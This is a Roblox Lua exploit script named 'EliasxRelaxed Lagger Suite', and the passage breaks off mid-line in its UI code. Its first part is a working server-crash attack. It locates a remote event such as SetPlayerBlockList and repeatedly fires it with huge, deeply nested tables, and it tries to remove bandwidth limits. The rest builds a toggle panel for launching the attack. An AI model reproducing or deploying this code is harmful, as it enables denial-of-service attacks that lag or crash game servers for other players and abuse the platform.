local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local UserInputService = game:GetService("UserInputService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local NetworkClient = game:GetService("NetworkClient")
local TweenService = game:GetService("TweenService")
local lp = Players.LocalPlayer

-- Configurazione lagger
local cfg = {
    tableInc = 290,
    tries = 1,
    waitTime = 0.06
}

local laggerEnabled = false
local laggerThread = nil

-- Funzioni remote
local cachedRemote = nil

local function getDirectRemote()
    local ok, result = pcall(function()
        return game.RobloxReplicatedStorage.SetPlayerBlockList
    end)
    if ok and result and (result:IsA("RemoteEvent") or result:IsA("UnreliableRemoteEvent") or result:IsA("RemoteFunction")) then
        return result
    end
    return nil
end

local function findRemote()
    if cachedRemote and cachedRemote.Parent then return cachedRemote end
    local paths = {
        function() return game:GetService("RobloxReplicatedStorage"):FindFirstChild("SetPlayerBlockList") end,
        function() return ReplicatedStorage:FindFirstChild("SetPlayerBlockList") end,
        function() return game:FindFirstChild("SetPlayerBlockList", true) end,
    }
    for _, pathFn in ipairs(paths) do
        local ok, result = pcall(pathFn)
        if ok and result and (result:IsA("RemoteEvent") or result:IsA("UnreliableRemoteEvent") or result:IsA("RemoteFunction")) then
            cachedRemote = result
            return result
        end
    end
    local services = {ReplicatedStorage, game:FindFirstChild("RobloxReplicatedStorage")}
    for _, service in ipairs(services) do
        if service then
            for _, obj in ipairs(service:GetDescendants()) do
                if obj:IsA("RemoteEvent") or obj:IsA("UnreliableRemoteEvent") or obj:IsA("RemoteFunction") then
                    local name = obj.Name:lower()
                    if name:find("block") or name:find("steal") or name:find("accept") or name:find("report") or name:find("player") then
                        cachedRemote = obj
                        return obj
                    end
                end
            end
        end
    end
    for _, service in ipairs(services) do
        if service then
            for _, obj in ipairs(service:GetDescendants()) do
                if obj:IsA("RemoteEvent") or obj:IsA("UnreliableRemoteEvent") then
                    cachedRemote = obj
                    return obj
                end
            end
        end
    end
    return nil
end

local function getRemote()
    local direct = getDirectRemote()
    if direct then return direct end
    return findRemote()
end

local function getmaxvalue(val)
    if type(val) ~= "number" then return nil end
    return 499999/(val+2)
end

local function bomb(tableincrease, tries)
    local maintable = {}
    local spammedtable = {}
    table.insert(spammedtable, {})
    local z = spammedtable[1]
    for i = 1, tableincrease do
        local tableins = {}
        table.insert(z, tableins)
        z = tableins
    end
    local maximum = getmaxvalue(tableincrease) or 9999999
    for i = 1, maximum do
        table.insert(maintable, spammedtable)
        if i % 10000 == 0 then task.wait() end
    end
    local remote = getRemote()
    if remote then
        for i = 1, tries do
            local ok, err = pcall(function()
                if remote:IsA("RemoteEvent") or remote:IsA("UnreliableRemoteEvent") then
                    remote:FireServer(maintable)
                elseif remote:IsA("RemoteFunction") then
                    remote:InvokeServer(maintable)
                end
            end)
            if not ok then
                warn("[CTE] Remote call failed: " .. tostring(err))
                cachedRemote = nil
            end
        end
    else
        warn("[CTE] No remote found!")
    end
end

local function crashLoop()
    while laggerEnabled do
        pcall(function()
            NetworkClient:SetOutgoingKBPSLimit(math.huge)
        end)
        pcall(function()
            settings().Network.IncomingReplicationLag = 0
        end)
        bomb(cfg.tableInc, cfg.tries)
        pcall(function()
            for i = 1, 50 do
                game:GetService("Stats"):Get("Network.ServerStatsItem")
            end
        end)
        task.wait(cfg.waitTime)
    end
end

local function startLagger()
    if laggerThread then return end
    laggerEnabled = true
    laggerThread = coroutine.create(crashLoop)
    coroutine.resume(laggerThread)
end

local function stopLagger()
    laggerEnabled = false
    if laggerThread then
        pcall(function() coroutine.close(laggerThread) end)
        laggerThread = nil
    end
end

local function toggleLagger()
    if laggerEnabled then
        stopLagger()
    else
        startLagger()
    end
end

local function setPreset(value)
    cfg.tableInc = value
    if laggerEnabled then
        stopLagger()
        task.wait(0.2)
        startLagger()
    end
end

-- ============================================
-- UI: EliasxRelaxed Lagger Suite
-- ============================================

local PlayerGui = lp:WaitForChild("PlayerGui")
if PlayerGui:FindFirstChild("EliasxRelaxedUI") then
    PlayerGui.EliasxRelaxedUI:Destroy()
end

local ScreenGui = Instance.new("ScreenGui")
ScreenGui.Name = "EliasxRelaxedUI"
ScreenGui.ResetOnSpawn = false
ScreenGui.Parent = PlayerGui

-- Background HDR Logo
local GuiBg = Instance.new("ImageLabel")
GuiBg.Size = UDim2.new(1, 0, 1, 0)
GuiBg.BackgroundTransparency = 1
GuiBg.Image = "rbxassetid://123282651418196"
GuiBg.ScaleType = Enum.ScaleType.Crop
GuiBg.ImageTransparency = 0.6
GuiBg.ZIndex = 0
GuiBg.Parent = ScreenGui

local GuiBgCorner = Instance.new("UICorner")
GuiBgCorner.CornerRadius = UDim.new(0, 10)
GuiBgCorner.Parent = GuiBg

-- Top Label "EliasxRelaxed"
local TopLabel = Instance.new("TextLabel")
TopLabel.Size = UDim2.new(1, 0, 0, 50)
TopLabel.Position = UDim2.new(0, 0, 0, 0)
TopLabel.BackgroundColor3 = Color3.fromRGB(20, 20, 70)
TopLabel.TextColor3 = Color3.fromRGB(100, 170, 255)
TopLabel.Font = Enum.Font.GothamBold
TopLabel.TextSize = 30
TopLabel.Text = "EliasxRelaxed"
TopLabel.TextStrokeTransparency = 0.7
TopLabel.Parent = ScreenGui

-- Corny voice audio (replace with your asset ID)
local voiceAudioId = "rbxassetid://1234567890" -- Replace this with your corny voice asset ID

local VoiceSound = Instance.new("Sound")
VoiceSound.Name = "EliasxRelaxedVoice"
VoiceSound.SoundId = voiceAudioId
VoiceSound.Volume = 1
VoiceSound.Parent = ScreenGui

VoiceSound:Play()

-- Main Frame
local MainFrame = Instance.new("Frame")
MainFrame.Name = "MainFrame"
MainFrame.Size = UDim2.new(0, 280, 0, 390)
MainFrame.Position = UDim2.new(0.05, 0, 0.12, 0)
MainFrame.BackgroundColor3 = Color3.fromRGB(0, 0, 40)
MainFrame.BackgroundTransparency = 0.22
MainFrame.BorderSizePixel = 0
MainFrame.Active = true
MainFrame.Draggable = true
MainFrame.Parent = ScreenGui

local MainCorner = Instance.new("UICorner")
MainCorner.CornerRadius = UDim.new(0, 10)
MainCorner.Parent = MainFrame

local MainStroke = Instance.new("UIStroke")
MainStroke.Color = Color3.fromRGB(80, 120, 220) -- Blue accent
MainStroke.Transparency = 0.78
MainStroke.Thickness = 1
MainStroke.Parent = MainFrame

-- Header Bar
local HeaderBar = Instance.new("Frame")
HeaderBar.Size = UDim2.new(1, 0, 0, 58)
HeaderBar.BackgroundColor3 = Color3.fromRGB(8, 8, 40)
HeaderBar.BorderSizePixel = 0
HeaderBar.Parent = MainFrame

local HeaderCorner = Instance.new("UICorner")
HeaderCorner.CornerRadius = UDim.new(0, 10)
HeaderCorner.Parent = HeaderBar

local GradBar = Instance.new("Frame")
GradBar.Size = UDim2.new(0, 5, 1, -16)
GradBar.Position = UDim2.new(0, 14, 0, 8)
GradBar.BackgroundColor3 = Color3.fromRGB(80, 120, 220)
GradBar.BorderSizePixel = 0
GradBar.Parent = HeaderBar

local GradBarCorner = Instance.new("UICorner")
GradBarCorner.CornerRadius = UDim.new(0, 3)
GradBarCorner.Parent = GradBar

local GradBarGradient = Instance.new("UIGradient")
GradBarGradient.Color = ColorSequence.new({
    ColorSequenceKeypoint.new(0, Color3.fromRGB(100, 170, 255)),
    ColorSequenceKeypoint.new(1, Color3.fromRGB(10, 30, 60))
})
GradBarGradient.Rotation = 90
GradBarGradient.Parent = GradBar

local TitleLabel = Instance.new("TextLabel")
TitleLabel.Size = UDim2.new(0, 110, 0, 20)
TitleLabel.Position = UDim2.new(0, 28, 0, 10)
TitleLabel.BackgroundTransparency = 1
TitleLabel.Text = "ELIASXRELAXED"
TitleLabel.TextColor3 = Color3.fromRGB(100, 170, 255)
TitleLabel.TextSize = 14
TitleLabel.Font = Enum.Font.GothamBold
TitleLabel.TextXAlignment = Enum.TextXAlignment.Left
TitleLabel.Parent = HeaderBar

local SubLabel = Instance.new("TextLabel")
SubLabel.Size = UDim2.new(0, 130, 0, 14)
SubLabel.Position = UDim2.new(0, 28, 0, 30)
SubLabel.BackgroundTransparency = 1
SubLabel.Text = "lagger suite  •  v3"
SubLabel.TextColor3 = Color3.fromRGB(100, 170, 255)
SubLabel.TextTransparency = 0.3
SubLabel.TextSize = 9
SubLabel.Font = Enum.Font.Gotham
SubLabel.TextXAlignment = Enum.TextXAlignment.Left
SubLabel.Parent = HeaderBar

-- Minimize Button
local MinimizeBtn = Instance.new("TextButton")
MinimizeBtn.Size = UDim2.new(0, 26, 0, 20)
MinimizeBtn.Position = UDim2.new(1, -62, 0.5, -10)
MinimizeBtn.BackgroundColor3 = Color3.fromRGB(20, 20, 40)
MinimizeBtn.Text = "–"
MinimizeBtn.TextColor3 = Color3.fromRGB(100, 170, 255)
MinimizeBtn.TextSize = 14
MinimizeBtn.Font = Enum.Font.GothamBold
MinimizeBtn.BorderSizePixel = 0
MinimizeBtn.Parent = HeaderBar

local MinimizeCorner = Instance.new("UICorner")
MinimizeCorner.CornerRadius = UDim.new(0, 5)
MinimizeCorner.Parent = MinimizeBtn

local MinimizeStroke = Instance.new("UIStroke")
MinimizeStroke.Color = Color3.fromRGB(90, 150, 240)
MinimizeStroke.Transparency = 0.45
MinimizeStroke.Thickness = 1
MinimizeStroke.Parent = MinimizeBtn

-- Close Button
local CloseBtn = Instance.new("TextButton")
CloseBtn.Size = UDim2.new(0, 26, 0, 20)
CloseBtn.Position = UDim2.new(1, -32, 0.5, -10)
CloseBtn.BackgroundColor3 = Color3.fromRGB(80, 18, 18)
CloseBtn.Text = "×"
CloseBtn.TextColor3 = Color3.fromRGB(255, 150, 150)
CloseBtn.TextSize = 15
CloseBtn.Font = Enum.Font.GothamBold
CloseBtn.BorderSizePixel = 0
CloseBtn.Parent = HeaderBar

local CloseCorner = Instance.new("UICorner")
CloseCorner.CornerRadius = UDim.new(0, 5)
CloseCorner.Parent = CloseBtn

local CloseStroke = Instance.new("UIStroke")
CloseStroke.Color = Color3.fromRGB(220, 60, 60)
CloseStroke.Transparency = 0.4
CloseStroke.Thickness = 1
CloseStroke.Parent = CloseBtn

-- Minimize and close functionality
local minimized = false
MinimizeBtn.MouseButton1Click:Connect(function()
    minimized = not minimized
    ContentFrame.Visible = not minimized
    MinimizeBtn.Text = minimized and "▲" or "–"
    if minimized then
        MainFrame.Size = UDim2.new(0, 280, 0, 58)
    else
        MainFrame.Size = UDim2.new(0, 280, 0, 390)
    end
end)

CloseBtn.MouseButton1Click:Connect(function()
    ScreenGui:Destroy()
end)

-- Content Frame
local ContentFrame = Instance.new("Frame")
ContentFrame.Size = UDim2.new(1, 0, 1, -68)
ContentFrame.Position = UDim2.new(0, 0, 0, 58)
ContentFrame.BackgroundTransparency = 1
ContentFrame.BorderSizePixel = 0
ContentFrame.Parent = MainFrame

local UIListLayout = Instance.new("UIListLayout")
UIListLayout.Padding = UDim.new(0, 12)
UIListLayout.HorizontalAlignment = Enum.HorizontalAlignment.Center
UIListLayout.SortOrder = Enum.SortOrder.LayoutOrder
UIListLayout.Parent = ContentFrame

local UIPadding = Instance.new("UIPadding")
UIPadding.PaddingTop = UDim.new(0, 16)
UIPadding.PaddingLeft = UDim.new(0, 14)
UIPadding.PaddingRight = UDim.new(0, 14)
UIPadding.Parent = ContentFrame

local function CreateDivider(order)
    local D = Instance.new("Frame")
    D.LayoutOrder = order
    D.Size = UDim2.new(1, 0, 0, 1)
    D.BackgroundColor3 = Color3.fromRGB(30, 30, 80)
    D.BorderSizePixel = 0
    D.Parent = ContentFrame
end

-- Lagger Toggles Label
local SectionLabel = Instance.new("TextLabel")
SectionLabel.LayoutOrder = 1
SectionLabel.Size = UDim2.new(1, 0, 0, 16)
SectionLabel.BackgroundTransparency = 1
SectionLabel.Text = "Lagger Toggles"
SectionLabel.TextColor3 = Color3.fromRGB(100, 170, 255)
SectionLabel.TextSize = 11
SectionLabel.Font = Enum.Font.Gotham
SectionLabel.TextXAlignment = Enum.TextXAlignment.Left
SectionLabel.Parent = ContentFrame

-- Activate Button
local ActivateBtn = Instance.new("TextButton")
ActivateBtn.LayoutOrder = 2
ActivateBtn.Size = UDim2.new(1, 0, 0, 42)
ActivateBtn.BackgroundColor3 = Color3.fromRGB(18, 18, 48)
ActivateBtn.Text = ""
ActivateBtn.BorderSizePixel = 0
ActivateBtn.Parent = ContentFrame

local ActivateCorner = Instance.new("UICorner")
ActivateCorner.CornerRadius = UDim.new(0, 6)
ActivateCorner.Parent = ActivateBtn

local AccentBar = Instance.new("Frame")
AccentBar.Size = UDim2.new(0, 3, 1, 0)
AccentBar.BackgroundColor3 = Color3.fromRGB(80, 120, 220)
AccentBar.BorderSizePixel = 0
AccentBar.Parent = ActivateBtn

local AccentBarCorner = Instance.new("UICorner")
AccentBarCorner.CornerRadius = UDim.new(0, 6)
AccentBarCorner.Parent = AccentBar

local ActivateText = Instance.new("TextLabel")
ActivateText.Size = UDim2.new(1, -16, 1, 0)
ActivateText.Position = UDim2.new(0, 14, 0, 0)
ActivateText.BackgroundTransparency = 1
ActivateText.Text = "ACTIVATE"
ActivateText.TextColor3 = Color3.fromRGB(180, 180, 255)
ActivateText.TextSize = 13
ActivateText.Font = Enum.Font.GothamBold
ActivateText.TextXAlignment = Enum.TextXAlignment.Left
ActivateText.Parent = ActivateBtn

local StatusDot = Instance.new("Frame")
StatusDot.Size = UDim2.new(0, 7, 0, 7)
StatusDot.Position = UDim2.new(1, -18, 0.5, -3)
StatusDot.BackgroundColor3 = Color3.fromRGB(80, 80, 80)
StatusDot.BorderSizePixel = 0
StatusDot.Parent = ActivateBtn

local StatusDotCorner = Instance.new("UICorner")
StatusDotCorner.CornerRadius = UDim.new(1, 0)
StatusDotCorner.Parent = StatusDot

local ActivateStroke = Instance.new("UIStroke")
ActivateStroke.Color = Color3.fromRGB(200, 200, 255)
ActivateStroke.Transparency = 0.85
ActivateStroke.Thickness = 1
ActivateStroke.Parent = ActivateBtn

local activated = false
ActivateBtn.MouseButton1Click:Connect(function()
    activated = not activated
    if activated then
        ActivateText.Text = "DEACTIVATE"
        Activate